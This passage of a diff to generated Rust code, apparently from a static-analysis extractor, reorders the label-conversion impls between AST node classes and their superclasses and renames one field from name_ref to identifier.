             Self::from_untyped(value.as_untyped())
         }
@@ -3941,18 +4068,18 @@ impl From<trap::Label<AsmRegOperand>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmRegOperand>> for trap::Label<Element> {
+impl From<trap::Label<AsmRegOperand>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmRegOperand>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmRegOperand is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmRegOperand is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmRegOperand>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmRegOperand>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmRegOperand>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmRegOperand is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmRegOperand is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4000,18 +4127,18 @@ impl From<trap::Label<AsmSym>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmSym>> for trap::Label<Element> {
+impl From<trap::Label<AsmSym>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmSym>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmSym is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmSym is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmSym>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmSym>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmSym>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmSym is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmSym is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4023,7 +4150,7 @@ pub struct AssocTypeArg {
     pub id: trap::TrapId<AssocTypeArg>,
     pub const_arg: Option<trap::Label<ConstArg>>,
     pub generic_arg_list: Option<trap::Label<GenericArgList>>,
-    pub name_ref: Option<trap::Label<NameRef>>,
+    pub identifier: Option<trap::Label<NameRef>>,
     pub param_list: Option<trap::Label<ParamList>>,
     pub ret_type: Option<trap::Label<RetTypeRepr>>,
     pub return_type_syntax: Option<trap::Label<ReturnTypeSyntax>>,
@@ -4044,8 +4171,8 @@ impl trap::TrapEntry for AssocTypeArg {
         if let Some(v) = self.generic_arg_list {
             out.add_tuple("assoc_type_arg_generic_arg_lists", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.name_ref {
-            out.add_tuple("assoc_type_arg_name_refs", vec![id.into(), v.into()]);
+        if let Some(v) = self.identifier {
+            out.add_tuple("assoc_type_arg_identifiers", vec![id.into(), v.into()]);
         }
         if let Some(v) = self.param_list {
             out.add_tuple("assoc_type_arg_param_lists", vec![id.into(), v.into()]);
@@ -4069,36 +4196,36 @@ impl trap::TrapClass for AssocTypeArg {
     fn class_name() -> &'static str { "AssocTypeArg" }
 }
 
-impl From<trap::Label<AssocTypeArg>> for trap::Label<AstNode> {
+impl From<trap::Label<AssocTypeArg>> for trap::Label<GenericArg> {
     fn from(value: trap::Label<AssocTypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of GenericArg
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AssocTypeArg>> for trap::Label<Element> {
+impl From<trap::Label<AssocTypeArg>> for trap::Label<AstNode> {
     fn from(value: trap::Label<AssocTypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AssocTypeArg>> for trap::Label<GenericArg> {
+impl From<trap::Label<AssocTypeArg>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AssocTypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of GenericArg
+        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AssocTypeArg>> for trap::Label<Locatable> {
+impl From<trap::Label<AssocTypeArg>> for trap::Label<Element> {
     fn from(value: trap::Label<AssocTypeArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AssocTypeArg is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4132,36 +4259,36 @@ impl trap::TrapClass for AwaitExpr {
     fn class_name() -> &'static str { "AwaitExpr" }
 }
 
-impl From<trap::Label<AwaitExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<AwaitExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<AwaitExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AwaitExpr>> for trap::Label<Element> {
+impl From<trap::Label<AwaitExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<AwaitExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AwaitExpr>> for trap::Label<Expr> {
+impl From<trap::Label<AwaitExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AwaitExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AwaitExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<AwaitExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<AwaitExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AwaitExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4195,36 +4322,36 @@ impl trap::TrapClass for BecomeExpr {
     fn class_name() -> &'static str { "BecomeExpr" }
 }
 
-impl From<trap::Label<BecomeExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<BecomeExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<BecomeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BecomeExpr>> for trap::Label<Element> {
+impl From<trap::Label<BecomeExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<BecomeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BecomeExpr>> for trap::Label<Expr> {
+impl From<trap::Label<BecomeExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<BecomeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BecomeExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<BecomeExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<BecomeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme BecomeExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4266,36 +4393,36 @@ impl trap::TrapClass for BinaryExpr {
     fn class_name() -> &'static str { "BinaryExpr" }
 }
 
-impl From<trap::Label<BinaryExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<BinaryExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<BinaryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BinaryExpr>> for trap::Label<Element> {
+impl From<trap::Label<BinaryExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<BinaryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BinaryExpr>> for trap::Label<Expr> {
+impl From<trap::Label<BinaryExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<BinaryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BinaryExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<BinaryExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<BinaryExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme BinaryExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4325,18 +4452,18 @@ impl trap::TrapClass for BoxPat {
     fn class_name() -> &'static str { "BoxPat" }
 }
 
-impl From<trap::Label<BoxPat>> for trap::Label<AstNode> {
+impl From<trap::Label<BoxPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<BoxPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BoxPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme BoxPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BoxPat>> for trap::Label<Element> {
+impl From<trap::Label<BoxPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<BoxPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BoxPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme BoxPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4352,9 +4479,9 @@ impl From<trap::Label<BoxPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<BoxPat>> for trap::Label<Pat> {
+impl From<trap::Label<BoxPat>> for trap::Label<Element> {
     fn from(value: trap::Label<BoxPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BoxPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme BoxPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4392,36 +4519,36 @@ impl trap::TrapClass for BreakExpr {
     fn class_name() -> &'static str { "BreakExpr" }
 }
 
-impl From<trap::Label<BreakExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<BreakExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<BreakExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BreakExpr>> for trap::Label<Element> {
+impl From<trap::Label<BreakExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<BreakExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BreakExpr>> for trap::Label<Expr> {
+impl From<trap::Label<BreakExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<BreakExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<BreakExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<BreakExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<BreakExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme BreakExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4437,36 +4564,36 @@ impl trap::TrapClass for CallExprBase {
     fn class_name() -> &'static str { "CallExprBase" }
 }
 
-impl From<trap::Label<CallExprBase>> for trap::Label<AstNode> {
+impl From<trap::Label<CallExprBase>> for trap::Label<Expr> {
     fn from(value: trap::Label<CallExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CallExprBase>> for trap::Label<Element> {
+impl From<trap::Label<CallExprBase>> for trap::Label<AstNode> {
     fn from(value: trap::Label<CallExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CallExprBase>> for trap::Label<Expr> {
+impl From<trap::Label<CallExprBase>> for trap::Label<Locatable> {
     fn from(value: trap::Label<CallExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CallExprBase>> for trap::Label<Locatable> {
+impl From<trap::Label<CallExprBase>> for trap::Label<Element> {
     fn from(value: trap::Label<CallExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme CallExprBase is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4504,36 +4631,36 @@ impl trap::TrapClass for CastExpr {
     fn class_name() -> &'static str { "CastExpr" }
 }
 
-impl From<trap::Label<CastExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<CastExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<CastExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CastExpr>> for trap::Label<Element> {
+impl From<trap::Label<CastExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<CastExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CastExpr>> for trap::Label<Expr> {
+impl From<trap::Label<CastExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<CastExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<CastExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<CastExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<CastExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme CastExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4599,45 +4726,45 @@ impl trap::TrapClass for ClosureExpr {
     fn class_name() -> &'static str { "ClosureExpr" }
 }
 
-impl From<trap::Label<ClosureExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<ClosureExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<ClosureExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ClosureExpr>> for trap::Label<Callable> {
+impl From<trap::Label<ClosureExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ClosureExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Callable
+        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ClosureExpr>> for trap::Label<Element> {
+impl From<trap::Label<ClosureExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ClosureExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ClosureExpr>> for trap::Label<Expr> {
+impl From<trap::Label<ClosureExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<ClosureExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ClosureExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<ClosureExpr>> for trap::Label<Callable> {
     fn from(value: trap::Label<ClosureExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ClosureExpr is a subclass of Callable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4665,18 +4792,18 @@ impl trap::TrapClass for Comment {
     fn class_name() -> &'static str { "Comment" }
 }
 
-impl From<trap::Label<Comment>> for trap::Label<AstNode> {
+impl From<trap::Label<Comment>> for trap::Label<Token> {
     fn from(value: trap::Label<Comment>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Comment is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Comment is a subclass of Token
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Comment>> for trap::Label<Element> {
+impl From<trap::Label<Comment>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Comment>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Comment is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Comment is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4692,9 +4819,9 @@ impl From<trap::Label<Comment>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<Comment>> for trap::Label<Token> {
+impl From<trap::Label<Comment>> for trap::Label<Element> {
     fn from(value: trap::Label<Comment>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Comment is a subclass of Token
+        // SAFETY: this is safe because in the dbscheme Comment is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4724,36 +4851,36 @@ impl trap::TrapClass for ConstArg {
     fn class_name() -> &'static str { "ConstArg" }
 }
 
-impl From<trap::Label<ConstArg>> for trap::Label<AstNode> {
+impl From<trap::Label<ConstArg>> for trap::Label<GenericArg> {
     fn from(value: trap::Label<ConstArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of GenericArg
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ConstArg>> for trap::Label<Element> {
+impl From<trap::Label<ConstArg>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ConstArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ConstArg>> for trap::Label<GenericArg> {
+impl From<trap::Label<ConstArg>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ConstArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of GenericArg
+        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ConstArg>> for trap::Label<Locatable> {
+impl From<trap::Label<ConstArg>> for trap::Label<Element> {
     fn from(value: trap::Label<ConstArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ConstArg is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4787,18 +4914,18 @@ impl trap::TrapClass for ConstBlockPat {
     fn class_name() -> &'static str { "ConstBlockPat" }
 }
 
-impl From<trap::Label<ConstBlockPat>> for trap::Label<AstNode> {
+impl From<trap::Label<ConstBlockPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<ConstBlockPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstBlockPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ConstBlockPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ConstBlockPat>> for trap::Label<Element> {
+impl From<trap::Label<ConstBlockPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ConstBlockPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstBlockPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ConstBlockPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4814,9 +4941,9 @@ impl From<trap::Label<ConstBlockPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ConstBlockPat>> for trap::Label<Pat> {
+impl From<trap::Label<ConstBlockPat>> for trap::Label<Element> {
     fn from(value: trap::Label<ConstBlockPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstBlockPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme ConstBlockPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4862,36 +4989,36 @@ impl trap::TrapClass for ConstParam {
     fn class_name() -> &'static str { "ConstParam" }
 }
 
-impl From<trap::Label<ConstParam>> for trap::Label<AstNode> {
+impl From<trap::Label<ConstParam>> for trap::Label<GenericParam> {
     fn from(value: trap::Label<ConstParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of GenericParam
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ConstParam>> for trap::Label<Element> {
+impl From<trap::Label<ConstParam>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ConstParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ConstParam>> for trap::Label<GenericParam> {
+impl From<trap::Label<ConstParam>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ConstParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of GenericParam
+        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ConstParam>> for trap::Label<Locatable> {
+impl From<trap::Label<ConstParam>> for trap::Label<Element> {
     fn from(value: trap::Label<ConstParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ConstParam is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4925,36 +5052,36 @@ impl trap::TrapClass for ContinueExpr {
     fn class_name() -> &'static str { "ContinueExpr" }
 }
 
-impl From<trap::Label<ContinueExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<ContinueExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<ContinueExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ContinueExpr>> for trap::Label<Element> {
+impl From<trap::Label<ContinueExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ContinueExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ContinueExpr>> for trap::Label<Expr> {
+impl From<trap::Label<ContinueExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ContinueExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ContinueExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<ContinueExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<ContinueExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ContinueExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -4984,18 +5111,18 @@ impl trap::TrapClass for DynTraitTypeRepr {
     fn class_name() -> &'static str { "DynTraitTypeRepr" }
 }
 
-impl From<trap::Label<DynTraitTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<DynTraitTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<DynTraitTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme DynTraitTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme DynTraitTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<DynTraitTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<DynTraitTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<DynTraitTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme DynTraitTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme DynTraitTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5011,9 +5138,9 @@ impl From<trap::Label<DynTraitTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<DynTraitTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<DynTraitTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<DynTraitTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme DynTraitTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme DynTraitTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5043,18 +5170,18 @@ impl trap::TrapClass for ExprStmt {
     fn class_name() -> &'static str { "ExprStmt" }
 }
 
-impl From<trap::Label<ExprStmt>> for trap::Label<AstNode> {
+impl From<trap::Label<ExprStmt>> for trap::Label<Stmt> {
     fn from(value: trap::Label<ExprStmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExprStmt is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ExprStmt is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExprStmt>> for trap::Label<Element> {
+impl From<trap::Label<ExprStmt>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ExprStmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExprStmt is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ExprStmt is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -5070,9 +5197,9 @@ impl From<trap::Label<ExprStmt>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ExprStmt>> for trap::Label<Stmt> {
+impl From<trap::Label<ExprStmt>> for trap::Label<Element> {
     fn from(value: trap::Label<ExprStmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExprStmt is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme ExprStmt is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
